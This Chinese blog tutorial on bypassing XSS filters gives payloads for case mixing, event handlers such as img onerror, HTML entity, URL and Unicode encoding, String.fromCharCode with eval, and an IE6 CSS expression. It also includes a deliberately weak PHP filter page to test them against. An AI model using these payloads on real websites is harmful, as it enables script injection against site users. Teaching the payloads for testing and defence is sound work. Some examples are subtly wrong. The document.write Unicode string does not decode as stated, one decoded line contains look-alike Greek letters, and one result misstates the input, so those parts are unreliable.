XSS绕过

关于XSS概念在前面的文中介绍过了,不再赘述。

最基本的用法:

<script>alert('xss');</script>

大小写及重写的绕过:

<SCRIscriptPT>AalLEerRtT('xss');</SCscriptRIPT>

事件绕过:

利用JS事件进行相关绕过:<img src=# onerror=alert('xss');>

相关JS事件:

onabort图像加载被中断
onblur元素失去焦点
onchange用户改变域的内容
onclick鼠标点击某个对象
ondblclick鼠标双击某个对象
onerror当加载文档或图像时发生某个错误
onfocus元素获得焦点
onkeydown某个键盘的键被按下
onkeypress某个键盘的键被按下或按住
onkeyup某个键盘的键被松开
onload某个页面或图像被完成加载
onmousedown某个鼠标按键被按下
onmousemove鼠标被移动
onmouseout鼠标从某元素移开
onmouseover鼠标被移到某元素之上
onmouseup某个鼠标按键被松开
onreset重置按钮被点击
onresize窗口或框架被调整尺寸
onselect文本被选定
onsubmit提交按钮被点击
onunload用户退出页面

编码绕过:

当浏览器接受到一份HTML代码后,会对标签之间(<p>xxx</p>等,<script>除外)、标签的属性中(<a href='xxxx'>)进行实体字符解码变为相应的字符,而不会发挥出其本来该有的功能,如:&#60;被解码为<后仅被当作字符,而不会被当成标签名的起始。既然是字符串,那在href='xx'这些属性值本来就是字符串的地方可以作为一种可能的绕过的手段

如:

<img src=1 onerror=&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>

上述代码解析后为:<img src=1 οnerrοr=alert(1)>

可以弹窗

 在代码被HTML解释器解释后,如果遇到需要填入url的位置,则该位置交由url解释器解释,如果是js代码的(例如οnclick=""),就js解释器解释,但是注意:javascript:不能用url编码代替,因为javascript:为协议类型,若是使用url编码,会被当作普通字符串,后面的js代码也不会被当作js代码解释

<a href="javascript:%61%6c%65%72%74%28%31%29"></a>

被url解释器解释完后为<a href="javascript:alert(1)"></a>,url中出现了javascript:,指明了后面的语句要当作js执行,所以再次把解释后的字符交给js解释器解释,可以弹窗。

当js解释器在标识符名称(例如函数名,属性名等等)中遇到unicode编码会进行解码,并使其标志符照常生效。而在字符串中遇到unicode编码时会进行解码只会被当作字符串。

<script>\u0061\u006c\u0065\u0072\u0074('xss')</script>

解码后为<script>alert(1)</script>,一样可以弹窗。但如果是:

<script>document.write('\u0039\u0041\u0059\u0097\u0108;\u0101\u0114\u0016\u0040\u0039\u0049\u0049\u0049')</script>

解码后为 <script>document.write(' ');alert('111')</script>就不要指望他可以弹窗了。因为解码出来的');alert('111仍为被当作字符串而不会影响上下文。

 

利用String.fromCharCode进行编码绕过

测试代码:

<?php
function xss_check($str){
    if(preg_match('/script|alert/i', $str))
        return 'error';
    else
        return $str;
}
@$id = $_GET['id'];
echo xss_check($id);
?>

屏蔽了alert(也可能是其他的),此时可以使用编码绕过:

<img src=1 onerror=\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074:\u0061\u006c\u0065\u0072\u0074(/xss/);>

将javascript和alert进行unicode编码实现绕过,成功弹窗。

利用String.fromCharCode进行编码绕过:

<img src=2 onerror=eval(String.fromCharCode(97,108,101,114,116,40,47,120,115,115,47,41))>

其中String.fromCharCode(97,108,101,114,116,40,47,120,115,115,47,41)是alert(/xss/)编码后的内容,google插件hackbar就有此功能。

IE6下绕过

IE下还可利用javascript:alert(/xss/); 或css

body {
background:black;
xss:expression(alert(/zhuling.wang/));/*IE6下测试*/
}

成功绕过

 

 

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值